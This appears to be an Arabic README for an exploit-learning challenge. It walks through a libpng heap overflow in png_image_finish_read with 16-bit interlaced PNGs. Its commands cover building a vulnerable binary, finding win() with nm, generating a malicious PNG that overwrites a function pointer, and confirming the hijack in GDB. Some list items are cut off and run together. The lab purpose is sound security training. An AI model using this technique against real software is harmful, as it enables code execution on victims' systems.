
يعتمد هذا التحدي على ثغرة تجاوز سعة المخزن المؤقت في libpng من العالم الحقيقي (تحديدًا عند التعامل مع واجهة برمجة التبسيط png_image_finish_read عند معالجة الصور المتشابكة 16-بت).
يتم تزويدك بملف ثنائي قابل للاستغلال victim يستخدم نسخة مرتبطة ثابتًا وتحتوي على ثغرة من libpng. يقرأ التطبيق ملف PNG باسم exploit.png في مخزن مؤقت.
هدفك هو إنشاء ملف PNG خبيث يؤدي إلى تجاوز سعة على الكومة للكتابة فوق مؤشر دالة في بنية Logger (الموجودة مباشرة بعد المخزن المؤقت للصورة)، مما يعيد توجيه التنفيذ إلى دالة win() لتشغيل شل.
المتطلبات الأساسية: gcc, make, python3, git, autoconf, automake, libtool.
استنساخ المستودع:
git clone --recursive https://github.com/bohemian-miser/CVE-2025-65018_Exploit_Challenge.git
cd CVE-2025-65018_Exploit_Challenge
بناء التحدي (بما في ذلك libpng القابل للاستغلال):
./build.sh
سيقوم هذا السكربت بما يلي:
libpng لتفعيل الثغرة.libpng الثابتة.victim.تكمُن الثغرة في كيفية تعامل libpng مع الصور المتشابكة عند التحويل من إدخال 16-بت إلى مخرجات 8-بت.
PNG_FORMAT_RGBA). يخصص libpng حجم مخزن مؤقت كافٍ لبيانات 8-بت.png_combine_row بكتابة البيانات بشكل غير صحيح باستخدام عمق البت 16-بت للمدخلات في المخزن المؤقت للمخرجات.يحتوي الملف الثنائي على دالة مساعدة win() تستدعي execl("/bin/sh", ...). نحتاج إلى عنوانها. وبما أن الملف الثنائي مُجمَّع مع -no-pie، فإن العناوين ثابتة.
nm victim | grep win
# Output: 00000000004013e0 T win
العنوان المستهدف: 0x4013e0
solve.py)نحتاج إلى إنشاء PNG صالح يقوم بما يلي:
IHDR) تحدد عمق 16-بت.win).يقوم سكربت solve.py بما يلي:
Logger (والتي تبعد 4096 بايت عن بداية المخزن المؤقت).win في بيانات بكسل الصف الأخير.IDAT.تخطيط الحمولة:
عنوان win 0x4013e0 (بترتيب البايتات الصغير: E0 13 40 00 ...) يجب ترميزه في بكسلات RGB بعمق 16-بت.
توليد PNG الخبيث:
python3 solve.py 4013e0
ينشئ هذا الملف exploit.png.
تشغيل الضحية:
./victim
المخرجات المتوقعة:
[*] Win function is at: 0x4013e0
[*] Buffer at: 0x7ffd51353530
[*] Logger at: 0x7ffd51354530
[*] Offset from buffer start to logger: 4096 bytes
[*] Processing image...
[+] png_image_finish_read success
[*] Calling logger...
[*] Hacked! Spawning shell...
$
لمشاهدة تجاوز السعة أثناء تنفيذه، يمكنك استخدام GDB.
1. نقطة توقف قبل الاستدعاء القابل للاستغلال:
break 62
run
2. مراقبة الاستبدال:
تقع بنية Logger عند الإزاحة 4096. لنراقب مؤشر الدالة المستهدف.
print &ctx.logger.log_func
# $1 = (void (**)(const char *)) 0x7fffffffc8f0
watch *0x7fffffffc8f0
continue
3. التشغيل:
سيقف GDB عندما تكتب png_combine_row على مؤشر الدالة.
Hardware watchpoint 2: *0x7fffffffc8f0
Old value = 4199366 (0x4013c6 <normal_log>)
New value = 4199392 (0x4013e0 <win>)
0x00007ffff7e024d9 in __memcpy_avx_unaligned_erms ()
يؤكد هذا أن libpng كتب فوق مؤشرنا بعنوان win!
victim.c: الكود المصدري القابل للاستغلال.solve.py: مولّد الاستغلال.libpng-src/: الكود المصدري لـ libpng (v1.6.37).build.sh: سكربت لترجمة كل شيء.Makefile: نظام البناء للملف الثنائي victim.